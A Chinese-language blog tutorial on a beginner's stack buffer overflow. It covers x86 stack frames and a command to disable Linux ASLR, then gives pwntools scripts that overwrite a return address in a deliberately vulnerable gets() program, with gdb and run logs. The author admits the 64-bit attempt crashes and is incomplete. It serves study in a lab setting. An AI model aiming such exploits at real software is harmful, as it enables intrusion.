• 栈溢出 hack 入门例子 hello world


    栈溢出示例代码:

    1. #include<Windows.h>
    2. #include<stdio.h>
    3. #include<stdlib.h>
    4.  
    5.  
    6. void Msg() {
    7. MessageBoxA(NULL, "嘿嘿!", "堆栈溢出测试", 0);
    8. }
    9.  
    10. int Add(int a, int b) {
    11. int* p = &a;
    12. *(p-1) = (int)Msg;
    13. return a + b;
    14. }
    15.  
    16. void main() {
    17. printf("%d", Add(1, 2));
    18. system("pause");
    19. return;
    20. }

    运行结果:

    按下确定以后出现异常:

     

    首先在讲解原理之前首先介绍一些基本知识便于理解原理:

    汇编层面的函数调用过程

      每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。

    下图表示当正在执行FunctonA函数时的栈情况:系统栈可以认为是全部栈空间。栈帧对应每一个函数调用,EBP寄存器存放当前活动栈帧的栈底,ESP寄存器存放当前活动栈帧的栈顶。当前函数可以在当前的栈帧区域内存放局部变量和信息,全局的变量不存放在栈,有专门的区域存放。

     下图表示call FunctionB之前做的工作:首先PUSH 函数的参数,从右向左压入,然后保存call FunctionB下一条指令的地址,便于函数返回。这个保存下一条指令地址和跳转到FunctionB处由 call 指令完成。

    下图表示创建新的FunctionB的栈帧:首先PUSH EBP 保存旧栈帧的栈底,用于函数返回。然后MOV EBP,ESP,设置当前EBP为旧栈帧栈底的地址处(如下图),最后SUB ESP, 0X0C0H ,ESP向上开辟空间,具体开辟多少根据编译器。到此新的栈帧开辟完了。(题外话:FunctionB可以通过EBP+8 获取到arg0,EBP+12获取到arg1,这就是为什么倒着压入参数的原因。如果FunctionB里面有局部变量,则可以放在EBP和ESP这段栈空间里面。)

    下图表示FunctionB函数返回后栈的变化:首先 MOV ESP,EBP POP EBP来还原EBP为旧的栈帧栈底。然后RET 到call FunctionB的下一条指令处(RET 包含POP JMP,所以下一条指令地址恰好被提出),最后ADD ESP,8 ,去掉压入的参数,8是因为压入了2个参数。到此已经还原了原来的环境了。整个调用过程结束了。

     

    现在进入主题,介绍原理:上面的代码核心思想就是改变调用Add(1,2)时,改变返回的地址(就是下一条指令的地址):

    修改这个地址内容为Msg()入口地址,这样就会执行Msg()代码。关键时怎么确定这个地址,然后写入Msg()入口地址搞定他。其实我们可以通过Add(int a,int b)的参数a确定下一条地址的地址,如图:获取a变量的地址,然后向上退就可以到下一条指令的地址,如后覆盖为Msg(),入口地址即可。

    关键代码解释:

    1. int* p = &a;//获取a变量的地址
    2. *(p-1) = (int)Msg;//上退覆盖地址为Msg入口地址,这里(p-1)而不是-4是因为p为地址,减一就是减一个字

        

    首先需要补充一下aslr,linux下:

    我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
    0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
    1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
    2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
    我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。

    栈溢出原理

    最基本的栈溢出原理无非就是通过控制输入, 填充, 覆盖掉ebp, 同时重写返回地址。下面这个例子的最终目的是通过栈溢出,获得shell。

    比如:

    #include <stdio.h>
    #include <string.h>
    void success() { puts("You Hava already controlled it."); }
    void vulnerable() {
      char s[12];
      gets(s);
      puts(s);
      return;
    }
    int main(int argc, char **argv) {
      vulnerable();
      return 0;
    }
    

    当然我是把很多模式都关掉了

     % checksec stack_example
    [*] '/home/abc/Desktop/pwn/example/stack_example'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    使用 -fno-stack-protector-no-pie关闭canaryPIE

    IDA拖进去之后主要是看vulnerable函数

    int vulnerable()
    {
      char s; // [sp+4h] [bp-14h]@1
    
      gets(&s);
      return puts(&s);
    }
    

    可以知道s距离 ebp为0x14h个字节

    直接冲掉, 同时把返回地址变成我们想要的(看最上面的例子就知道为何是14了,70-56=14

    .text:08048456 success         proc near
    .text:08048456
    .text:08048456 var_4           = dword ptr -4
    .text:08048456
    .text:08048456                 push    ebp
    .text:08048457                 mov     ebp, esp
    .text:08048459                 push    ebx
    .text:0804845A                 sub     esp, 4
    .text:0804845D                 call    __x86_get_pc_thunk_ax
    .text:08048462                 add     eax, 1B9Eh
    .text:08048467                 sub     esp, 0Ch
    .text:0804846A                 lea     edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it."
    .text:08048470                 push    edx             ; s
    .text:08048471                 mov     ebx, eax
    .text:08048473                 call    _puts
    .text:08048478                 add     esp, 10h
    .text:0804847B                 nop
    .text:0804847C                 mov     ebx, [ebp+var_4]
    .text:0804847F                 leave
    .text:08048480                 retn
    .text:08048480 success         endp
    

    返回地址需要变成 0x08048456  ----???为啥是这个???

    然后写exp

    from pwn import *
    
    context.binary = './stack_example'
    if args['DEBUG']:
        context.log_level = 'debug'
    
    
    #context.log_level = 'debug'
    
    p = process('./stack_example')
    
    payload = 'a'*0x14+'bbbb'
    
    payload += p32(0x08048456)
    
    p.sendline(payload)
    
    p.interactive()
    

    结果:

     % python exp.py
    [*] '/home/abc/Desktop/pwn/example/stack_example'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    [+] Starting local process './stack_example': pid 48512
    [*] Switching to interactive mode
    aaaaaaaaaaaaaaaaaaaabbbbVx84x0
    You Hava already controlled it.
    [*] Got EOF while reading in interactive
    $ whoami
    [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512)
    [*] Got EOF while sending in interactive

    在我的mac docker kali linux环境下运行:

    cc -fno-stack-protector -no-pie bone.c -o bone
    gdb bone
    

     通过汇编查看反汇编码:

    (gdb) disas main
    Dump of assembler code for function main:
       0x000000000040116d <+0>:    push   %rbp
       0x000000000040116e <+1>:    mov    %rsp,%rbp
       0x0000000000401171 <+4>:    sub    $0x10,%rsp
       0x0000000000401175 <+8>:    mov    %edi,-0x4(%rbp)
       0x0000000000401178 <+11>:    mov    %rsi,-0x10(%rbp)
       0x000000000040117c <+15>:    mov    $0x0,%eax
       0x0000000000401181 <+20>:    callq  0x401145 <vulnerable>
       0x0000000000401186 <+25>:    mov    $0x0,%eax
       0x000000000040118b <+30>:    leaveq
       0x000000000040118c <+31>:    retq   
    End of assembler dump.
    (gdb) disas vulnerable
    Dump of assembler code for function vulnerable:
       0x0000000000401145 <+0>:    push   %rbp // 看来我是应该覆盖这个地址
       0x0000000000401146 <+1>:    mov    %rsp,%rbp
       0x0000000000401149 <+4>:    sub    $0x10,%rsp
       0x000000000040114d <+8>:    lea    -0xc(%rbp),%rax
       0x0000000000401151 <+12>:    mov    %rax,%rdi
       0x0000000000401154 <+15>:    mov    $0x0,%eax
       0x0000000000401159 <+20>:    callq  0x401040 <gets@plt>
       0x000000000040115e <+25>:    lea    -0xc(%rbp),%rax
       0x0000000000401162 <+29>:    mov    %rax,%rdi
       0x0000000000401165 <+32>:    callq  0x401030 <puts@plt>
       0x000000000040116a <+37>:    nop
       0x000000000040116b <+38>:    leaveq
       0x000000000040116c <+39>:    retq   
    End of assembler dump.
    (gdb) q
    于是我的pwn代码编写如下:
    from pwn import *
    
    context.binary = './bone'
    if args['DEBUG']:
        context.log_level = 'debug'
    
    
    #context.log_level = 'debug'
    
    p = process('./bone')
    
    payload = 'a'*0x14+'bbbb'
    
    addr = 0x0000000000401145
    payload += p64(addr).decode()
    
    p.sendline(payload)
    
    p.interactive()
    

     运行:

    ../code/pwn_demo# python3 exp.py 
    [*] '/home/bonelee/shell_coders_handbook/code/pwn_demo/bone'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    [+] Starting local process './bone': pid 3931
    [*] Switching to interactive mode
    aaaaaaaaaaaaaaaaaaaabbbbEx11
    [*] Got EOF while reading in interactive
    $ whoami
    [*] Process './bone' stopped with exit code -11 (SIGSEGV) (pid 3931)
    [*] Got EOF while sending in interactive
    

    虽然是获得了$,但是执行命令没有返回,貌似这个例子不完美。

    后面再深入学吧,总算是完成了hello world。



  • 相关阅读:
    目标跟踪学习笔记1
    求职笔记
    Pycharm使用问题小结-002
    Pycharm使用问题小结-001
    Python基础练习-004-百变乘法表
    Python基础练习-003-求100-999之间所有的水仙花数
    Python基础练习-002-求1000以内的完全数
    Python基础练习-001-猜数字小游戏
    java.io.FileNotFoundException: rmi_keystore.jks (No such file or directory)(转)
    Jmeter
  • 原文地址:https://www.cnblogs.com/bonelee/p/13765435.html
Copyright © 2020-2023  润新知